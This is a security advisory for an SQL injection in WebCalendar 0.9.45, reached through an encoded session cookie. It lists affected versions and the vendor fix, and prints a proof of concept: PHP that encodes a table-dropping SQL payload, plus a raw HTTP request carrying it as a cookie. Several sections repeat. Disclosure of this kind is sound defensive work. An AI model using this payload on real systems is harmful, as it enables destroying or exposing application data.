WebCalendar SQL Injection Vulnerability
BID:12581
Info
WebCalendar SQL Injection Vulnerability
| Bugtraq ID: | 12581 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 17 2005 12:00AM |
| Updated: | Feb 17 2005 12:00AM |
| Credit: | Discovery of this vulnerability is credited to Michael Scovetta of Scovetta Labs. |
| Vulnerable: |
k5n WebCalendar 0.9.45 |
| Not Vulnerable: |
k5n WebCalendar 1.0 rc2 k5n WebCalendar 1.0 RC1 |
Discussion
WebCalendar SQL Injection Vulnerability
WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
This vulnerability is reported to affect WebCalendar 0.9.45; earlier versions may also be affected.
The vendor has addressed this issue in WebCalendar 1.0RC1 and later.
WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
This vulnerability is reported to affect WebCalendar 0.9.45; earlier versions may also be affected.
The vendor has addressed this issue in WebCalendar 1.0RC1 and later.
Exploit / POC
WebCalendar SQL Injection Vulnerability
No exploit is required.
The following proof of concept is available:
<?php
include_once 'includes/init.php';
echo encode_string("'; drop table foo; select 'a|zzabcdefg");
?>
output:
7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8
attack payload:
telnet example.com
GET /login.php HTTP/1.1
Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8
No exploit is required.
The following proof of concept is available:
<?php
include_once 'includes/init.php';
echo encode_string("'; drop table foo; select 'a|zzabcdefg");
?>
output:
7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8
attack payload:
telnet example.com
GET /login.php HTTP/1.1
Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8
Solution / Fix
WebCalendar SQL Injection Vulnerability
Solution:
The vendor has addressed this issue in WebCalendar 1.0RC1 and later.
k5n WebCalendar 0.9.45
Solution:
The vendor has addressed this issue in WebCalendar 1.0RC1 and later.
k5n WebCalendar 0.9.45
-
WebCalendar WebCalendar-1.0RC2.zip
http://www.k5n.us/files/WebCalendar-1.0RC2.zip
References
WebCalendar SQL Injection Vulnerability
References:
References:
- WebCalendar Home Page (WebCalendar)
- WebCalendar: SQL Injection from encoded cookie (Scovetta Labs)